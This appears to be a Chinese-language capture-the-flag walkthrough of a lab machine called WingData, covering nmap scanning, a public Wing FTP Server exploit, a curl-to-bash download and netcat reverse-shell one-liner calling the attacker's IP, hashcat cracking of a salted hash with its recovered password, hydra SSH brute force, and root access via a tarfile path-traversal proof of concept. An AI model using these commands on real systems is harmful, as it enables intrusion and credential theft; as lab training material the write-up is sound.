WingData

复制代码
10.129.7.40

nmap扫描

复制代码
sudo nmap --top-ports 10000 10.129.7.40 --min-rate=1000 -oA ips_quick_TCP_nmapscan && sudo nmap --top-ports 10000 10.129.7.40 --min-rate=1000 -sU -oA ips_quick_UDP_nmapscan && nmap -p- 10.129.7.40 -oA ips_full_TCP_nmapscan --min-rate=1000 && sudo nmap -p- 10.129.7.40 -sU -oA ips_full_UDP_nmapscan --min-rate=1000

点击client,发现新的Vhost 。 ftp.wingdata.htb

wing ftp server v7.4.3 发现

https://www.exploit-db.com/exploits/52347

复制代码
python -m http.server 80

python pwn.py -u http://ftp.wingdata.htb/ -c 'curl http://10.10.14.37'

反连

复制代码
python pwn.py -u http://ftp.wingdata.htb/ -c 'curl http://10.10.14.37/pwn|bash'

pwn 文件内容

复制代码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.37 81 >/tmp/f

我们在/opt/wingsftpserver/data/1/users/中可以发现大量的用户和其密码hash

我们了解到wingftp的密码被保存SHA256,且wingsftp的默认盐是WingFTP

复制代码
hashcat -a 0 -m 1410 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt -r /home/kali/Desktop/TOOL/cred/hashcat/rules/best66.rule
复制代码
!#7Blushing^*Bride5

hydra -L users.txt -P passwords.txt ssh://wingdata.htb -V
复制代码
ssh wacky@wingdata.htb 

阅读/opt/backup_clients/restore_backup_clients.py,发现相关漏洞 https://linuxsecurity.com/news/security-vulnerabilities/python-tarfile-supply-chain-risk

漏洞说明,如果压缩文件包含了.../就会逃脱出解压的目标文件夹,这为我们写入/root/.ssh/authorized_keys打下了基础。我们尝试一下。这篇文章给我们构造文件的办法 https://github.com/1135/notes/blob/master/web_vul_PathTraversal.md

复制代码
python evilarc.py authorized_keys --os=unix --depth=5 --output-file=backup_1001.tar --path=root/.ssh/authorized_keys

我们把文件传输过去,然后解压

复制代码
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_1001
复制代码
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1002.tar -r restore_1001

我们自己搭建的貌似不成功,我们在网上找到了这个poc

https://github.com//thefizzyfish//CVE-2025-4138_tarfile_filter_bypass

复制代码
python3 CVE-2025-4138_tarfile_filter_bypass.py \
    -o backup_1004.tar \
    -t /root/.ssh/authorized_keys \
    -p ~/.ssh/id_ed25519.pub \
    -m 0600

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1004.tar -r restore_1001
复制代码
ssh -i ~/.ssh/id_ed25519 root@wingdata.htb
相关推荐
无心水12 分钟前
【OpenClaw:应用与协同】23、OpenClaw生产环境安全指南——Token管理/沙箱隔离/权限最小化
大数据·人工智能·安全·ai·性能优化·openclaw
ChineHe14 分钟前
互联网Web服务认证技术发展史:从HTTP Basic到OpenID Connect
安全·软件工程·web
眼镜哥(with glasses)1 小时前
网络技术三级考试综合题笔记整理(第二题、第三题)
网络·笔记·智能路由器
Johnstons1 小时前
读懂 TCP 标志位:网络运维中的“信号灯”
运维·网络·tcp/ip
半壶清水1 小时前
[软考网规考点笔记]-数据通信基础之差错控制编码技术
网络·笔记·网络协议·tcp/ip
坚定的共产主义生产设备永不宕机1 小时前
网络层协议(IPV4报头)
运维·服务器·网络
kishu_iOS&AI2 小时前
OpenClaw 管理 API Key / Token 的常见安全方案
安全·ai·策略模式·openclaw
王燕龙(大卫)2 小时前
通过文心快码,2小时完成一周的工作量
服务器·网络·tcp/ip
yuyuzururu2 小时前
计算机网络实验作业-IP分组分片和ARP实验
网络·tcp/ip·计算机网络
wWYy.2 小时前
详解socket网络编程
网络